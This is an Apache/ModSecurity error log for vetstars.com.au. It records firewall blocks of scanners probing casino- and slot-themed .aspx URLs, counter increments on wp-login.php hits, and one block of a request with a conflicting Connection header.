[Thu May 14 04:41:02.228060 2026] [:error] [pid 63033:tid 63036] [client 147.135.213.130:39428] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agTh3lMY49UWn5BpqVYxiwAAAQE"]
[Thu May 14 04:41:04.866912 2026] [:error] [pid 63033:tid 63053] [client 147.135.213.130:39432] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agTh4FMY49UWn5BpqVYxjgAAARI"]
[Thu May 14 04:41:07.336136 2026] [:error] [pid 11588:tid 11658] [client 147.135.213.130:39440] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agTh49Ur21rOixkeGKb2YAAAAIY"]
[Thu May 14 04:41:09.747702 2026] [:error] [pid 63033:tid 63050] [client 147.135.213.130:41734] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "agTh5VMY49UWn5BpqVYxlQAAAQ8"]
[Thu May 14 04:41:12.211400 2026] [:error] [pid 63033:tid 63035] [client 147.135.213.130:41750] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agTh6FMY49UWn5BpqVYxmQAAAQA"]
[Thu May 14 04:41:14.672225 2026] [:error] [pid 11581:tid 11602] [client 147.135.213.130:41762] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "agTh6v0vF48FbzpvQMV9VQAAAAU"]
[Thu May 14 04:41:17.281455 2026] [:error] [pid 11588:tid 11673] [client 147.135.213.130:41772] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "agTh7dUr21rOixkeGKb2cgAAAJU"]
[Thu May 14 04:41:19.786631 2026] [:error] [pid 11690:tid 11722] [client 147.135.213.130:50236] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "agTh7ynxWuLN8Hptw8lbtgAAANc"]
[Thu May 14 04:41:22.313362 2026] [:error] [pid 11581:tid 11599] [client 147.135.213.130:50248] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "agTh8v0vF48FbzpvQMV9aAAAAAI"]
[Thu May 14 04:41:24.918435 2026] [:error] [pid 11582:tid 11644] [client 147.135.213.130:50264] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "agTh9Puw2cmFDpGcKhDKeQAAAFM"]
[Thu May 14 04:41:27.426292 2026] [:error] [pid 11581:tid 11621] [client 147.135.213.130:50268] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "agTh9_0vF48FbzpvQMV9dQAAABg"]
[Thu May 14 04:41:30.032502 2026] [:error] [pid 11581:tid 11600] [client 147.135.213.130:37268] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "agTh-v0vF48FbzpvQMV9ewAAAAM"]
[Thu May 14 04:41:32.456276 2026] [:error] [pid 63033:tid 63037] [client 147.135.213.130:37282] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "agTh_FMY49UWn5BpqVYxpwAAAQI"]
[Thu May 14 04:42:09.349824 2026] [:error] [pid 11582:tid 11645] [client 147.135.213.130:37298] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agTiIfuw2cmFDpGcKhDKnQAAAFQ"]
[Thu May 14 04:42:12.453482 2026] [:error] [pid 11690:tid 11705] [client 147.135.213.130:50308] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agTiJCnxWuLN8Hptw8lcGAAAAMY"]
[Thu May 14 04:42:15.019412 2026] [:error] [pid 63033:tid 63057] [client 147.135.213.130:50310] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agTiJ1MY49UWn5BpqVYx6QAAARY"]
[Thu May 14 04:42:17.649956 2026] [:error] [pid 11588:tid 11676] [client 147.135.213.130:50316] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agTiKdUr21rOixkeGKb2pgAAAJg"]
[Thu May 14 04:42:20.358607 2026] [:error] [pid 11690:tid 11718] [client 147.135.213.130:49742] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agTiLCnxWuLN8Hptw8lcIgAAANM"]
[Thu May 14 04:42:23.277461 2026] [:error] [pid 11690:tid 11721] [client 147.135.213.130:49756] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agTiLynxWuLN8Hptw8lcKQAAANY"]
[Thu May 14 04:42:25.797857 2026] [:error] [pid 63033:tid 63056] [client 147.135.213.130:49768] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agTiMVMY49UWn5BpqVYx9QAAARU"]
[Thu May 14 04:42:28.849007 2026] [:error] [pid 11581:tid 11605] [client 147.135.213.130:49778] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agTiNP0vF48FbzpvQMV9qQAAAAg"]
[Thu May 14 04:42:31.551469 2026] [:error] [pid 11582:tid 11629] [client 147.135.213.130:60150] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agTiN_uw2cmFDpGcKhDKpAAAAEQ"]
[Thu May 14 04:42:34.145150 2026] [:error] [pid 11690:tid 11708] [client 147.135.213.130:60152] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agTiOinxWuLN8Hptw8lcTQAAAMk"]
[Thu May 14 04:42:37.214718 2026] [:error] [pid 63033:tid 63049] [client 147.135.213.130:60168] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agTiPVMY49UWn5BpqVYyBgAAAQ4"]
[Thu May 14 04:42:39.704952 2026] [:error] [pid 63033:tid 63055] [client 147.135.213.130:40140] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agTiP1MY49UWn5BpqVYyCgAAARQ"]
[Thu May 14 04:42:42.468511 2026] [:error] [pid 11588:tid 11664] [client 147.135.213.130:40144] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "agTiQtUr21rOixkeGKb2tgAAAIw"]
[Thu May 14 04:42:45.159371 2026] [:error] [pid 11582:tid 11639] [client 147.135.213.130:40150] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "agTiRfuw2cmFDpGcKhDKqwAAAE4"]
[Thu May 14 04:42:47.480964 2026] [:error] [pid 11588:tid 11665] [client 147.135.213.130:40158] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agTiR9Ur21rOixkeGKb2ugAAAI0"]
[Thu May 14 04:42:49.881503 2026] [:error] [pid 63033:tid 63038] [client 147.135.213.130:57736] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "agTiSVMY49UWn5BpqVYyHQAAAQM"]
[Thu May 14 04:42:52.381900 2026] [:error] [pid 11588:tid 11669] [client 147.135.213.130:57744] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agTiTNUr21rOixkeGKb2xAAAAJE"]
[Thu May 14 04:42:55.264063 2026] [:error] [pid 63033:tid 63050] [client 147.135.213.130:57746] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "agTiT1MY49UWn5BpqVYyJgAAAQ8"]
[Thu May 14 04:42:58.488176 2026] [:error] [pid 63033:tid 63048] [client 147.135.213.130:57750] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "agTiUlMY49UWn5BpqVYyKgAAAQ0"]
[Thu May 14 04:43:01.387549 2026] [:error] [pid 11582:tid 11628] [client 147.135.213.130:54520] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "agTiVfuw2cmFDpGcKhDKsQAAAEM"]
[Thu May 14 04:43:04.041462 2026] [:error] [pid 63033:tid 63056] [client 147.135.213.130:54536] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "agTiWFMY49UWn5BpqVYyLwAAARU"]
[Thu May 14 04:43:41.277556 2026] [:error] [pid 11690:tid 11703] [client 147.135.213.130:54540] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agTifSnxWuLN8Hptw8lc6QAAAMQ"]
[Thu May 14 04:43:44.019785 2026] [:error] [pid 11581:tid 11614] [client 147.135.213.130:42800] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "agTigP0vF48FbzpvQMV90AAAABE"]
[Thu May 14 04:43:46.591004 2026] [:error] [pid 11588:tid 11654] [client 147.135.213.130:42802] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "agTigtUr21rOixkeGKb3AAAAAII"]
[Thu May 14 04:43:49.114590 2026] [:error] [pid 63033:tid 63042] [client 147.135.213.130:41004] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agTihVMY49UWn5BpqVYyWQAAAQc"]
[Thu May 14 04:43:51.752416 2026] [:error] [pid 11690:tid 11705] [client 147.135.213.130:41010] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agTihynxWuLN8Hptw8lc-wAAAMY"]
[Thu May 14 04:43:54.453315 2026] [:error] [pid 11582:tid 11629] [client 147.135.213.130:41020] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agTiivuw2cmFDpGcKhDK3gAAAEQ"]
[Thu May 14 04:43:56.735677 2026] [:error] [pid 11690:tid 11704] [client 147.135.213.130:41036] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agTijCnxWuLN8Hptw8ldBgAAAMU"]
[Thu May 14 04:43:59.135721 2026] [:error] [pid 11582:tid 11635] [client 147.135.213.130:45120] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agTij_uw2cmFDpGcKhDK5QAAAEo"]
[Thu May 14 05:11:41.316667 2026] [:error] [pid 11690:tid 11702] [client 88.135.73.76:56794] [client 88.135.73.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.135.73.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agTpDSnxWuLN8Hptw8llSgAAAMM"]
[Thu May 14 05:11:44.539502 2026] [:error] [pid 11690:tid 11719] [client 88.135.73.76:56794] [client 88.135.73.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.135.73.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agTpECnxWuLN8Hptw8llUAAAANQ"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 07:26:39.708083 2026] [:error] [pid 47673:tid 47686] [client 91.151.95.70:39830] [client 91.151.95.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.151.95.70, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agUIr_CGe4cIn3sh5k3CXwAAAUs"]
[Thu May 14 07:26:42.098108 2026] [:error] [pid 47673:tid 47682] [client 91.151.95.70:39830] [client 91.151.95.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.151.95.70, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agUIsvCGe4cIn3sh5k3CYwAAAUc"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 07:36:26.584474 2026] [:error] [pid 11581:tid 11606] [client 43.167.232.38:47008] [client 43.167.232.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agUK-v0vF48FbzpvQMWT1AAAAAk"]
[Thu May 14 08:20:17.241423 2026] [:error] [pid 11588:tid 11656] [client 51.75.119.161:57612] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "agUVQdUr21rOixkeGKYiTwAAAIQ"]
[Thu May 14 08:20:20.107490 2026] [:error] [pid 11690:tid 11708] [client 51.75.119.161:56368] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "agUVRCnxWuLN8Hptw8mdOAAAAMk"]
[Thu May 14 08:20:22.799074 2026] [:error] [pid 11588:tid 11652] [client 51.75.119.161:56372] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "agUVRtUr21rOixkeGKYiVAAAAIA"]
[Thu May 14 08:20:25.353340 2026] [:error] [pid 11690:tid 11702] [client 51.75.119.161:36084] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "agUVSSnxWuLN8Hptw8mdTAAAAMM"]
[Thu May 14 08:20:27.948002 2026] [:error] [pid 47673:tid 47684] [client 51.75.119.161:36088] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "agUVS_CGe4cIn3sh5k3L8gAAAUk"]
[Thu May 14 08:20:30.668376 2026] [:error] [pid 63033:tid 63041] [client 51.75.119.161:36094] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "agUVTlMY49UWn5BpqVaIcgAAAQY"]
[Thu May 14 08:20:33.193681 2026] [:error] [pid 11588:tid 11666] [client 51.75.119.161:36100] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "agUVUdUr21rOixkeGKYiXQAAAI4"]
[Thu May 14 08:20:35.571128 2026] [:error] [pid 47721:tid 47744] [client 51.75.119.161:40904] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "agUVU3Emh7_G0hfOa6s7KwAAAZU"]
